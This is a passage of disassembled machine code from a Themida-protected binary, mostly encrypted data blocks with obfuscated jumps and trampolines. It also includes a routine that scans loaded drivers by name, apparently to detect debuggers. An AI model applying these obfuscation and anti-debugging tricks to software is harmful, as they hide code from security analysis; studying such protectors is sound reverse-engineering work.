		dd 37F5C8Dh, 0E03234BFh, 97ED6D27h, 83ED3204h, 0D632B321h
		dd 0EB6E5490h, 0C6790295h, 7BBF9852h, 74E24496h, 415AA0F6h
		dd 1D419715h, 0EEF578BCh, 399B1C0Eh, 0DC3AB8C6h, 8B317896h
		dd 6FF52367h, 0CD3721F2h, 6F03CE3Ah, 89ABDE0Eh,	635950A6h
		dd 4DCDFB3Fh, 0A50FD81Ch, 58A40581h, 7B6A1E02h,	16F80BF7h
		dd 9802D43Ch, 0B7F21036h, 7F65E105h, 84B1ECFDh,	4A4DCD85h
		dd 59365F8h, 0FFCB2D83h, 0D22BFF66h, 99FA1E88h,	54A2C0FCh
		dd 5B5FC160h, 6875F9DFh, 0F45A9984h, 0AD0F6172h, 2369BF3Fh
		dd 2527DA1Fh, 0F751D3CAh, 5D2CB1h, 0B7630000h, 27E03228h
		dd 3CBFC1E9h, 3BCE24A8h, 7FC51769h, 0CEDB5D43h,	80EC0516h
		dd 28BB0D99h, 748F4D56h, 7C0EEB61h, 0D62CAC1Ah,	0BF0CD743h
		dd 361027E0h, 9DFB7B71h, 0B7351B57h, 0F91FF61h,	2CBA26B9h
		dd 6F27E0BFh, 0ED4EDA9Dh, 0DB667190h, 0A0B89F3Dh, 0DDC9CA5h
		dd 0F779E749h, 15425BA1h, 9CAA3D93h, 5431C41Ah,	0ED6F4D32h
		dd 0CC3D657h, 6F9EE282h, 0A6B0B90Bh, 8B9CF8B0h,	0DDE12779h
		dd 27E0CEEEh, 738DEB08h, 388AA2FDh, 52AC2E14h, 678BEDBFh
		dd 54E515ECh, 0FFFF66C6h, 97152DFFh, 0A90AAE41h, 0BC3F2EFAh
		dd 0F3685B64h, 9F1D8BEDh, 0C4E50349h, 4896DAFEh, 8A21F236h
		dd 0D6218D20h, 32DE0DCEh, 0AF2BDFA0h, 8B5AF7FAh, 37h, 1D037FF2h
		dd 8B58449Ch, 4F27E032h, 0C9D83E5h, 9A1692B6h, 0E0328D56h
		dd 81E34D27h, 0F21363B5h, 0F487F121h, 0DED7F88h, 200799DEh
		dd 0F81C1894h, 0DDF65Ah, 155D0000h, 0A0AE4197h,	2836C91Fh
		dd 15B94CAAh, 3D9EAB2Fh, 542D7182h, 3D568BAh, 53B533A1h
		dd 8E31090Dh, 48227E0h,	0E1D7EA2h, 0FC5CDBB1h, 0A8E9769h
		dd 0AFF317D9h, 27E0F124h, 0B4DA3CA6h, 0B90F9278h, 0D6BE957h
		dd 0FB5F47Ah, 0F3E1A7EBh, 0AD5321F2h, 7042D52Bh, 0EFBAD81Eh
		dd 0EA65A9CDh, 0C8D81A5Eh, 8B0AA022h, 76C89A2Dh, 9BBF11E3h
		dd 96DC34B5h, 0C0196FF0h, 0F5AC4959h, 0CEE1CED1h, 54000001h
		dd 953B81D7h, 0CF75BB11h, 0DB3F94Fh, 4AF0368Eh,	0EB296FC9h
		dd 268203B7h, 61B73AE0h, 9DF3751Bh, 0D533B157h,	88CC588Fh
		dd 21F75D7Bh, 7FFD2E7Fh, 0B0438703h, 3A27E032h,	321FE4D0h
		dd 71DB27E0h, 8C20A10Fh, 79ACB50Bh, 85CA4D18h, 15BB0153h
		dd 371D4197h, 0F8CA5DB3h, 9D577096h, 4E92B60Ch,	21F213C8h
		dd 218D208Ah, 0DE0DECD6h, 0D93AB632h, 0E3C82416h, 0BD463205h
		dd 3DDE0DBBh, 905771D3h, 0F87168E4h, 44C3A95Ah,	1D7F51E4h
		dd 0AFB6h, 37F1D00h, 0E03234BFh, 0EA4CB627h, 0D9F1FE7Ch
		dd 0B2CB7E5h, 76841769h, 85DB5FF5h, 6434A033h, 0AD27E042h
		dd 0ED93D92Fh, 79F5196Fh, 0F9BBA518h, 0A8940983h, 27E0405Bh
		dd 0E97CD256h, 668D217h, 269C0D93h, 4288BE02h, 2E6A21F2h
		dd 0E5D19EAh, 2577E1DEh, 0D2E8C1DFh, 0F78C6AAEh, 46ED81Ah
		dd 0E379FAE0h, 6CB20464h, 92EB45C6h, 0F5AF9E81h, 0C6291619h
		dd 4C000000h, 8D3379CFh, 0C76DB309h, 5ABF147h, 42E82E86h
		dd 0E32167C1h, 1E7AFBBFh, 59AF32D8h, 95EB6D13h,	0CD2BA94Fh
		dd 80C45087h, 21F74273h, 15F52677h, 50F63C94h, 152E74D2h
		dd 34BF037Fh, 0B627E032h, 0FE7CEA4Ch, 1F9E84A8h, 64B60E8Dh
		dd 2A9DFFD1h, 24489E1Ch, 0D164BA3Eh, 59779DFFh,	2466A50h
		dd 21F75067h, 7C8A1D87h, 2662A8FEh, 264C240h, 2DC01694h
		dd 587F70C1h, 0BAA014CBh, 627CDE38h, 0C7219F9Dh, 0FB5DDB81h
		dd 5FDEC468h, 0A0F87B09h, 0F351D03Eh, 74D25260h, 0F850D3E1h
		dd 1C30DC65h, 85EF08E6h, 5812D557h, 0B6B47B55h,	3EBADE38h
		dd 7740E9FAh, 2587F1C3h, 7DDB59FFh, 3FDEAh, 8B340000h
		dd 4098151Ah, 0C7219FADh, 4AA42634h, 0CE26A9B7h, 54AC2D3Bh
		dd 0D632B3C1h, 5EB63543h, 0E73DBDCBh, 6CC24654h, 895322D9h
		dd 4C381E3h, 83000000h,	1C8704EBh, 2C895C24h, 5F36824h
		dd 14890000h, 0E1895124h, 4C181h, 0E9830000h, 240C8704h
		dd 240C895Ch, 0E720B9BAh, 0C1DAF709h, 0E2C104E2h, 6BE28107h
		dd 8136072Dh, 4154CBCAh, 0B6BE5677h, 81741166h,	583703E6h
		dd 81D6F745h, 7E6972C6h, 6E6C121h, 0C272EE81h, 0F229EA64h
		dd 0C8B545Eh, 4C48324h,	4EC81h,	14890000h, 8418F24h, 50240C8Bh
		dd 405E089h, 5000000h, 4, 5C240487h, 5A2434FFh,	0E904C483h
		dd 0FFFBD552h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h
		db 25h,	0B4h
; ---------------------------------------------------------------------------


loc_5D2D36:				; CODE XREF: Themida_:005D1DF8j
		mov	eax, 61771B4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 95h
		dd 9413D89Fh, 906FA34Ch, 3F3BF3E5h, 0AA1CA3D6h,	86325D3Ch
		dd 0E0780671h, 7E34B8EBh, 0AA0AA1A7h, 5F670059h, 0C873F0A8h
		dd 0F601D83Eh, 3707167h, 4167CC58h, 0FC3C2923h,	9411ECA0h
		dd 0F9067739h, 16701E8Ch, 0D96C5A92h, 0AC128D62h, 0CF4DA188h
		dd 0EE1E2472h, 4B1E2DA8h, 52B3508h, 3D530B3Fh, 2C0D6B15h
		dd 203B0FFCh, 0AA6C0C1Dh, 0E8204F33h, 0Ch, 3A27DF91h, 0C42FD469h
		dd 36EFB0DFh, 48F0Fh, 0BB660000h, 815E7D81h, 625F77E9h
		dd 0FDC68161h, 0B9000058h, 22AA83A6h, 8C0FC02Bh, 4, 5A47B251h
		dd 0F063C8Bh, 0C781D9BFh, 26F42FD0h, 64F18060h,	0F78BBA66h
		dd 0A4EF8161h, 0F41E00Dh, 280h,	81F48A00h, 0A56ECBC7h
		dd 65C5BB6Eh, 0F575411h, 48FC9BFh, 0B6C0BA06h, 0F0BB6940h
		dd 8326EACEh, 870F04E8h, 4, 431FBA66h, 0A7B8F881h, 850FFFFFh
		dd 0Ah,	28E9h, 6B18FE00h, 6660C2EBh, 56A97CB8h,	18F7C181h
		dd 615E2114h, 0FFFF8BE9h, 7ACD1FFh, 24BDDACh, 7568618Bh
		dd 8BD1A0F7h, 0E99D8D0Eh, 0B8061216h, 0CEh, 269D8589h
		dd 0E80612h, 58000000h,	0D05h, 0E9038900h, 0CEh, 33h dup(76F20000h)
		dd 5BE9FFFFh, 0E9000001h, 8, 0DEA94DABh, 7C077CDBh, 7518B58Dh
		dd 8B0F0617h, 0Ch, 6880Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D2FA0
; ---------------------------------------------------------------------------
		db 0B7h, 2Ah, 7Fh
		dd 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h
; ---------------------------------------------------------------------------


loc_5D2FA0:				; CODE XREF: Themida_:005D2F88j
		lea	eax, [ebp+6154CD8h]
		jmp	loc_5D2FB1
; ---------------------------------------------------------------------------
		db 0E1h
		dd 59D71B0h
; ---------------------------------------------------------------------------
		pop	edi


loc_5D2FB1:				; CODE XREF: Themida_:005D2FA6j
		call	eax
		jnb	locret_5D2FCF
		jmp	locret_5D2FCF
; ---------------------------------------------------------------------------
		dw 1EBCh
		dd 0FD023D8Bh, 0B569BD7Eh, 89605027h
		db 0A7h, 0E5h, 27h
; ---------------------------------------------------------------------------

locret_5D2FCF:				; CODE XREF: Themida_:005D2FB3j
					; Themida_:005D2FB9j
		retn
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D2FDB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2FDB	proc near		; CODE XREF: Themida_:005D2FD3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D2FDB	endp

; ---------------------------------------------------------------------------
		mov	ds:0A23BBF49h, eax
		sbb	eax, 0D98C6667h
		jmp	loc_5D3006
; ---------------------------------------------------------------------------
		dw 8F73h
; ---------------------------------------------------------------------------
		push	ss
		daa
		cmp	ecx, [edx-9C3CA9Ah]
		das
		push	ss


loc_5D3006:				; CODE XREF: Themida_:005D2FF5j
		test	cl, 4
		jz	loc_5D3057
		jmp	loc_5D301F
; ---------------------------------------------------------------------------
		dd 89A2EFDCh, 42BC8051h
		db 0ADh, 3Fh, 0E1h
; ---------------------------------------------------------------------------


loc_5D301F:				; CODE XREF: Themida_:005D300Fj
		mov	edi, ebx
		mov	ecx, ebx
		xor	al, al


loc_5D3025:				; CODE XREF: Themida_:005D3026j
		scasb
		jnz	short loc_5D3025
		sub	ecx, edi
		neg	ecx
		sub	edi, ecx
		mov	edx, edi
		dec	ecx
		mov	ebx, ecx
		jmp	short $+2
		VMMCall	VMM_GetDDBList


loc_5D303B:				; CODE XREF: Themida_:005D3055j
		or	eax, eax
		jz	short loc_5D3057
		lea	esi, [eax+0Ch]
		mov	edi, edx
		mov	ecx, ebx


loc_5D3046:				; CODE XREF: Themida_:005D304Aj
		cmpsb
		jnz	short loc_5D3053
		dec	ecx
		jnz	short loc_5D3046
		mov	eax, 1
		jmp	short locret_5D305C
; ---------------------------------------------------------------------------


loc_5D3053:				; CODE XREF: Themida_:005D3047j
		mov	eax, [eax]
		jmp	short loc_5D303B
; ---------------------------------------------------------------------------


loc_5D3057:				; CODE XREF: Themida_:005D3009j
					; Themida_:005D303Dj
		mov	eax, 0

locret_5D305C:				; CODE XREF: Themida_:005D3051j
		iret
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D3068
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3068	proc near		; CODE XREF: Themida_:005D3060p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D3068	endp

; ---------------------------------------------------------------------------
		dd 35BA4D22h, 0E925B2D8h, 0Bh, 0EF065117h, 9CC805ACh, 0FC7FB976h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
		dd 0E3589527h, 8870Fh, 8B0F0000h, 2, 85C76160h,	617755Dh
		dd 1013Fh, 76DD8D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0DECCF5C3h, 51588380h
		dd 2169858Bh, 85890612h, 6122341h, 2DCD8D89h, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0DD347DC3h, 4B1EFCC3h, 85314DD5h, 612283Dh, 31BD85C7h
		dd 67600612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0E664CEC3h, 0F6AB3EDh, 58Ah, 0E8816600h
		dd 85C78611h, 6120011h,	0
; ---------------------------------------------------------------------------
		mov	edx, ebx
		push	dword ptr [ebp+6120841h]
		jge	loc_5D3180
		mov	edx, [ebp+612149Dh]


loc_5D3180:				; CODE XREF: Themida_:005D3174j
		call	dword ptr [ebp+6122781h]
		push	0
		push	edi
		call	sub_5D3191
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3191	proc near		; CODE XREF: Themida_:005D3189p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D3191	endp

; ---------------------------------------------------------------------------
		db 0B2h, 56h, 8Bh
		dd 8EEE2875h, 661EC9D1h, 0F35ED281h, 95FF006Ah,	61229D1h
		dd 1AEBC08Bh, 3C7276F7h, 94657D65h, 0F922BCE0h,	0CCBD3324h
		dd 759B85E6h, 8092A6B8h, 6E88F37h, 3C000000h, 0BEF7BC2h
		dd 0B5315A0Fh, 6120C6Dh, 71A0C281h, 66600000h, 80EA72BAh
		dd 33610BC1h, 19BD8BDBh, 0FF06122Ch, 0F28B1334h, 8ABE6658h
		dd 0E0F08133h, 8116D06Eh, 0A35089C0h, 0BE875h, 5B360000h
		dd 0AF2057A7h, 0A938F041h, 80FC6053h, 596193E4h, 1327C081h
		dd 0E95753A8h, 0Ah, 91656871h, 0F9EB58CDh, 895936B3h, 0FB8B1A04h
		dd 8AD9D89h, 0EB830612h, 85BD8B01h, 4B061202h, 8D8B4B4Bh
		dd 6122885h, 8EF0FB81h,	850FFFFFh, 0FFFFFF93h, 0EBCE8B66h
		dd 60h,	17h dup(0)
		dd 0C09E900h, 0FDE90000h, 6800000Bh, 6178041h, 0FB08F4E9h
		dd 81D868FFh, 0EAE90617h, 68FFFB08h, 617823Dh, 0FB08E0E9h
		dd 0D13E53FFh, 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah
		dd 3FAF06F6h, 0DB74C14Eh, 79125FB0h, 12ABF817h,	6C46937Ch
		dd 0D772151Dh, 34114DF6h, 4EAD9C1Dh, 2EF88649h,	0FD146D9Bh
		dd 0E1B7157Ch, 0F4A4D110h, 47DFD693h, 4152E5F0h, 0DC90C54Ah
		dd 2F3664E5h, 0E40D0288h, 0C255E45Fh, 0E835DAB1h, 9BD03F4Fh
		dd 1C51BED2h, 1503CF5h,	0ED0975EDh, 0C95CC78Dh,	73CD3B8h
		dd 1C04F3Eh, 94C94648h,	80492EC1h, 8A43020Dh, 91760906h
		dd 1348C7C8h, 9ACF404Ah, 1F54BBD1h, 40488992h, 47DF9347h
		dd 52EA256Bh, 9CD13E51h, 34F35EC9h, 69FC137Bh, 93EF2FAh
		dd 334A49F5h, 0F6A25C2Bh, 0D936564Dh, 2E39D1A4h, 8948539Bh
		dd 653BCD0h, 0F6B59CA9h, 0F6A295EEh, 9ED3DE4Dh,	9756B9D5h
		dd 0A30F7880h, 616C4DF6h, 59DAD1CEh, 0FE18B7DEh, 41CEC0D3h
		dd 141543D6h, 80A67693h, 86D58021h, 685C70F6h, 495AED58h
		dd 9E4CCA45h, 0B9A2AEB8h, 54C41FAh, 3A869670h, 0DA0F7A1Fh
		dd 86467407h, 5AB5D68Fh, 0DF305C25h, 0D96CD7AAh, 0EACE16ABh
		dd 625B25BCh, 0AD000000h, 3BB9A2AEh, 1E7CFD14h,	7F8DD88Ch
		dd 53349427h, 947DF85h,	0BA5539F2h, 0DF857D0Ah,	0B8CFD747h
		dd 0CB47DF85h, 8A1D28C0h, 0F7783742h, 0C254F0A2h, 452A34BBh
		dd 335681CCh, 140735C8h, 0F51A723Eh, 70171F36h,	1347DF5Fh
		dd 51477508h, 387403h, 1C9D0000h, 0E31A1C5h, 4745A6D7h
		dd 2DC093C8h, 0C3A2AEFFh, 5EDC47C8h, 0DC335B14h, 0B5D2DA49h
		dd 9F47DF5Fh, 0D76AA5E6h, 149412FDh, 0F51A723Eh, 20D7D36h
		dd 3967FACDh, 0A5AE0351h, 3F8001C0h, 0AA17B7A4h, 0B1D6DE9Dh
		dd 0D247DFAFh, 0BDC534C7h, 49F1CD8Dh, 0A0B8EDF8h, 4DF1ACEBh
		dd 5F48C908h, 0C74C9794h, 5889D568h, 0AE905131h, 1958624h
		dd 0AED80000h, 0E6FDBCA1h, 0DF5FA9DEh, 3CCFDA47h, 5FFAC5CDh
		dd 0BEC947DFh, 41CEC089h, 1C723EF4h, 0B89E75F3h, 0DB345B14h
		dd 1A72D3A6h, 818D62F5h, 0D0861E9Ch, 0BCEACE16h, 455B25h
		dd 0EB6C0000h, 444DCDA9h, 0AFDD70B1h, 3BB9A2AEh, 5F7B0C14h
		dd 0FD0847DFh, 143E147Fh, 4DE02F5Bh, 41BF503Ch,	0A3ABC251h
		dd 47DF5FE4h, 0CBF98C97h, 0F7029314h, 81A133F4h, 0A6CDBAC2h
		dd 0A3AE47DFh, 420110h,	0AE6B0000h, 4DCCC3A2h, 3166D13Eh
		dd 82ED2268h, 0C149917h, 47DF5F7Bh, 140D8B76h, 0C44B44FDh
		dd 0FB29BC8Fh, 77F51A72h, 0F6829314h, 0D9EEDB74h, 4851446h
		dd 0E8A06056h, 177078EFh, 6447DFF6h, 2D5BEE59h,	0FDBCA1AEh
		dd 9F20577Ch, 0C8C8B8F6h, 0DA49DC47h, 0DFBEE9D2h, 9ACFDA47h
		dd 3AD5BA73h, 0C04F3C05h, 0BA4DB88Bh, 0DD2AE5A9h, 0F31C7227h
		dd 0AEB89E75h, 143BB9A2h, 0D3B32393h, 8417079Dh, 0CE16D187h
		dd 5B25BCEAh, 60h, 34DBB36Ch, 0A2AE73A1h, 0FD143BB9h, 36C94644h
		dd 0DF5FB1D6h, 49C7D247h, 5B143E14h, 0D8ABE02Fh, 0F9583445h
		dd 86080BB6h, 58815489h, 73DE10D6h, 7C9314F5h, 3F627A08h
		dd 5CD52952h, 49996B21h, 74F584B6h, 5DEABA0Ch, 96C4577Ah
		dd 3474h, 0A71C9D00h, 96791723h, 85658E61h, 6E9C2FDAh
		dd 3BB9A2AEh, 5F7B0C14h, 8B7647DFh, 723E140Dh, 0EE99A11Ah
		dd 8D47DF5Fh, 9F581782h, 0CBC021EEh, 5183B144h,	0A27403h
		dd 0AEDE0000h, 0F5FDBCA1h, 47DF5FCAh, 0F0B9EEF9h, 0F9B2719Eh
		dd 73467B94h, 722DE3E0h, 9E75F31Ch, 40CFBE77h, 77A5380Bh
		dd 3BB9A2AEh, 70788F86h, 47DF6017h, 98C65964h, 0BCEACE16h
		dd 465B25h, 0AEAD0000h,	79FAB9A2h, 334FA1A7h, 0C0EE8127h
		dd 5F7B0C14h, 0CAE147DFh, 5FDCABB3h, 949F47DFh,	0DF5FA3E4h
		dd 42D5E047h, 1471EFFAh, 0FF1A723Eh, 76497E91h,	0C2518D0Bh
		dd 5FE4A3ABh, 8C9747DFh, 1D74CBF9h, 0DE000000h,	0F1FBA2AEh
		dd 0EEE00564h, 14EB69D4h, 0DF5F7B0Ch, 0D8B7647h, 1A723E14h
		dd 35177F5h, 0BEF31C72h, 127E9BF5h, 4E4592FDh, 8417F895h
		dd 98A01B73h, 47DF5FEFh, 0FE58818Ch, 39EF8C3h, 5E76AB16h
		dd 47E00A2Fh, 0D80D028Bh, 5C917E0Fh, 0AA2FB2C6h, 88637E6Ah
		dd 23BC0906h, 0CF6FA46Bh, 0C21F4B41h, 0D3546727h, 0EC396FBDh
		dd 6F18C8E8h, 0C47DFEEh, 0EEE2A5ADh, 96A147DFh,	4801C02Bh
		dd 0C497CC43h, 0BD58399Bh, 8417389Dh, 76212A87h, 590B5DEBh
		dd 31F05B5Eh, 0E629611Ah, 0EB4BDEB1h, 49F1825Fh, 465E939Eh
		dd 4DF17845h, 0C0F51A75h, 187996F7h, 0CE649976h, 8AB227BAh
		dd 0A41C736Eh, 7124AEE6h, 1Eh, 0F31C72C3h, 0FB147B34h
		dd 7B60F3C6h, 0DF602463h, 1EC3AF47h, 0F744CBC3h, 0CA454700h
		dd 1C720937h, 1697BEF3h, 5B69CF8Dh, 0F1C65982h,	323AF9E8h
		dd 49F5006Ah, 0BA73323Dh, 0ACA93CD3h, 471834B5h, 0F126E9A6h
		dd 0C564F51Eh, 0DFE8BD50h, 1F2B33F2h, 5E5008E9h, 85061E53h
		dd 6E47E4D0h, 0FF1A762Fh, 8518838Ch, 0E1E1A839h, 3622B98Fh
		dd 3Bh,	0F5FD1488h, 47DF5F92h, 7E53E6F1h, 0B6CD8C71h, 6BA4E69Fh
		dd 0DF5FCCBBh, 0DFAEAF47h, 0BD28FB30h, 5FEDCA2Ah, 0C3CE47DFh
		dd 0DA3F4B04h, 0E62966B3h, 873467Bh, 2024BBh, 0AE8E0000h
		dd 0F5FDBCA1h, 47DF5FC6h, 5A13D2DDh, 0D4A7DC33h, 7119D241h
		dd 6426DF9Eh, 10A376ABh, 87745D13h, 0DE000001h,	92F5FD14h
		dd 0CA47DF5Fh, 0DF5FC5C2h, 13ABB647h, 2BE4A708h, 0BB9023F6h
		dd 9E4AC8ADh, 0F31C72B8h, 788F8675h, 0E43CCBFh,	5FFC8B3Bh
		dd 747F47DFh, 5FDAADB5h, 9EA947DFh, 0CE16DD0Bh,	5B25BCEAh
		dd 4Ah,	0A09314ADh, 9BD15630h, 6D7B50E3h, 0C140A88h, 47DF5F7Bh
		dd 0C5C2CAE1h, 0B647DF5Fh, 0C5D018ABh, 0A0E7EF06h, 0E347DF5Fh
		dd 141745D8h, 0A8DD325Bh, 0FDD342D5h, 79F71872h, 0FD140351h
		dd 0DF5F92F5h, 53E6F147h, 3B44h, 0A0AEAE00h, 60285F67h
		dd 505B47DFh, 0C1467E5h, 47DF5F7Bh, 140D8B76h, 3918723Eh
		dd 0E1364DC0h, 1C515F8h, 0E8FACC31h, 5194127Dh,	0E4A3ABC2h
		dd 9747DF5Fh, 0E61BF496h, 0E715A813h, 1F351C72h, 0D2C2D765h
		dd 4C818EFCh, 474F0E79h, 47DFD940h, 0ECD3843h, 46D7B08Dh
		dd 99C6118h, 0AEB89EDBh, 41FAB9A2h, 0B88BC04Fh,	0D086F725h
		dd 0BCEACE16h, 0CFD7EE25h, 4ADF5FB8h, 0F901C0CBh, 4ADF5F8Eh
		dd 4D4FE2EDh, 45h, 24EBA55Eh, 0A2AE6391h, 7579FAB9h, 0C9B48163h
		dd 143F6D00h, 48DB345Bh, 8109C2D9h, 0F386598Eh,	0DF5FF493h
		dd 0FE7C8747h, 92F5FD14h, 0F147DF5Fh, 3F749BF0h, 0FF6E016Ch
		dd 0F51A7229h, 74035177h, 1Dh, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh
		dd 3E140D8Bh, 36F51A72h, 0CD020D7Dh, 513967FAh,	0F11E7203h
		dd 5FEAA4BCh, 1ADE47DFh, 9B741CC7h, 1E72984Eh, 9DF3BCF1h
		dd 0B75E3D72h, 242C8FFEh, 47DF5F63h, 75AA1520h,	45C6B1E4h
		dd 35A04C14h, 28B56A2h,	70784349h, 47E05217h, 0B9EE5964h
		dd 4E4253E6h, 5222656Dh, 566147E0h, 0EEA79EEBh,	6B3E739Ch
		dd 545678D8h, 21DE47E0h, 22BC1AA0h, 0FFFE2775h,	5B14C7FFh
		dd 0E949DC33h, 47DF5FA2h, 0DF6042C9h, 5F5F2947h, 0E4FB47DFh
		dd 0DF5FABDCh, 0DEA9B147h, 9D47DF5Fh, 30EFFA92h, 0DF5F5F28h
		dd 7E111C47h, 0DF5F6D1Eh, 5F8DFE47h, 0B8CF47DFh, 0DF5FD7B0h
		dd 699A447h, 0DF5FE5A6h, 19081187h, 2BEEA15Ah, 0A87BB05Fh
		dd 243BAA3Dh, 0BBF01F6Bh
		dd 97F555E8h, 6309F257h, 5743444Ch, 35400DF4h, 904F5AA2h
		dd 325BB4D7h, 0DAD6D220h, 6247DA91h, 0E0B823Bh,	86598E81h
		dd 8013E61Bh, 0F4B3A2ABh, 593E2ECh, 69242510h, 0E3A871A6h
		dd 0D756C12Ch, 2DB1F1E5h, 1E1A84Dh, 31000003h, 0C962AF60h
		dd 66FF4CC3h, 59EEB24h,	9F38858Ah, 0E4D421EEh, 9F701DD1h
		dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF6DF94h
		dd 72340AE7h, 97BEF31Ch, 0CA5DB2DEh, 4605ECF5h,	0F4D7623Eh
		dd 0D3A52649h, 0DE7023FCh, 0A69B144h, 0F6E48502h, 80EBF64Dh
		dd 0B833C33h, 7A117104h, 7C4DF6E4h, 1CF39873h, 0D3DBF2B1h
		dd 4DF6E4B4h, 4266FEC7h, 32178290h, 0BDC534C7h,	500C9377h
		dd 0A3E4EC03h, 0E047E028h, 0CF81ACD5h, 0A81AA75h, 65242F77h
		dd 582F374Eh, 2B47DF87h, 127C8D20h, 0F7968307h,	5178AD18h
		dd 0DF883E49h, 0C7323D47h, 18760F5Ch, 0D9AAC2F7h, 1D47DF87h
		dd 576E2D14h, 8A1DF29Eh, 0F4FF6E2Ah, 87465149h,	24FC0CEh
		dd 9BECF40Bh, 0C14DF6BEh, 0F6BECEB9h, 0AA2AD4Dh, 335B6CFFh
		dd 0C780A7DCh, 42154AC5h, 0BF0C7B83h, 646F4DF6h, 0EF3FCD1h
		dd 3755474Fh, 1D28500Ch, 0A2AAC1E8h, 47DF87E5h,	23F88B96h
		dd 646C2B1Ah, 49F4FDCCh, 0B3084FD0h, 47ABAFEEh,	345D3857h
		dd 8B1E0396h, 0C0793843h, 0D03F4ECBh, 285DC89Bh, 9A53C255h
		dd 14E85DF4h, 51AE630Eh, 9EA627E6h, 2591581Eh, 0FA939023h
		dd 1F467B94h, 2B870008h, 0C5CD4DF7h, 4DF72BC2h,	131EB6C1h
		dd 3D6B2080h, 828B4DF7h, 0D4CCD493h, 9F500CADh,	6427F29Eh
		dd 0E40B40ABh, 0E000ABDCh, 62CDD847h, 2C35C2F7h, 0C3CD8645h
		dd 424AB94Ch, 49F216B0h, 6D55D4DFh, 0C5EBA57Ah,	16A5920h
		dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh
		dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h
		dd 2B5C64B3h, 584DF6E1h, 0A5AEA57Bh, 0A7F901C0h, 9A49F4D7h
		dd 0E419F699h, 329D721Bh, 0FC0592C7h, 104E5615h, 0D05008EBh
		dd 0CBD6B1B9h, 9AA547E4h, 35B4BF07h, 0EDB2A133h, 5531ABFh
		dd 35000001h, 0CD66B35Ch, 6A0350BFh, 9A2EF20h, 0A33C8986h
		dd 0E8D825EAh, 0A36C21CDh, 41CEBD56h, 0DA355BF4h, 759AF48Dh
		dd 0F7FF4E28h, 4DF6E190h, 0AE4016F3h, 4FC0CAA5h, 1DDC471Ah
		dd 0F4D78315h, 2E5D5E49h, 6ED9ACE1h, 0F11E7039h, 0F9167932h
		dd 0BED06966h, 868F1C51h, 48C9E09Fh, 7C0FDEAFh,	628B5E93h
		dd 52CB7CAh, 0C321F1D8h, 35952893h, 500C3DFFh, 0B14A97A2h
		dd 4EE734DBh, 0ED86D33Ch, 0F5AE6DA2h, 0E6E37699h, 82CF404Dh
		dd 1BADA4E9h, 952ADBD3h, 39D21F8Ah, 7970BD52h, 0A3FD0C0h
		dd 0FD93A437h, 343C5312h, 47DF9A53h, 0BEC9D130h, 0BD47DF9Ah
		dd 0B7B447B2h, 529F701Eh, 4B3C445Bh, 3847DF9Ah,	2899A2Dh
		dd 0DADE7317h, 0C9C01C37h, 815489F4h, 0EE9E5716h, 34918E21h
		dd 0CE87462Bh, 88904FC0h, 47DFCFFFh, 6FDE717Ch,	0F545CD67h
		dd 0A0EFF049h, 6CF046Fh, 0FC88788h, 300937Ch, 36Ch, 3422D600h
		dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
		dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 211968D4h
		dd 34890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	41B8h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 57ED4186h
		or	ebp, 75C2551Eh
		push	edi
		mov	edi, 71F82D81h
		xor	ebp, edi
		pop	edi
		mov	eax, ebp
		pop	ebp
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 17EA04C2h
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 17EA04C2h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 9Dh
		dd 40BD5F05h, 71C9FA01h, 0AF69F7D4h, 178367B8h,	8BC50306h
		dd 6E8C3h, 0FDD00000h, 80F25D34h, 2860Fh, 0D3B30000h, 74B9665Fh
		dd 0C0C7812Fh, 0F9000072h, 12E9C02Bh, 83000000h, 7C333597h
		dd 0BCC6E63Fh, 26C82F28h, 64ACA07Ch, 7348B5Ch, 0F681A6B1h
		dd 0B76CB1h, 621147BAh,	8AEE8168h, 0B92BF326h, 7AFE31F8h
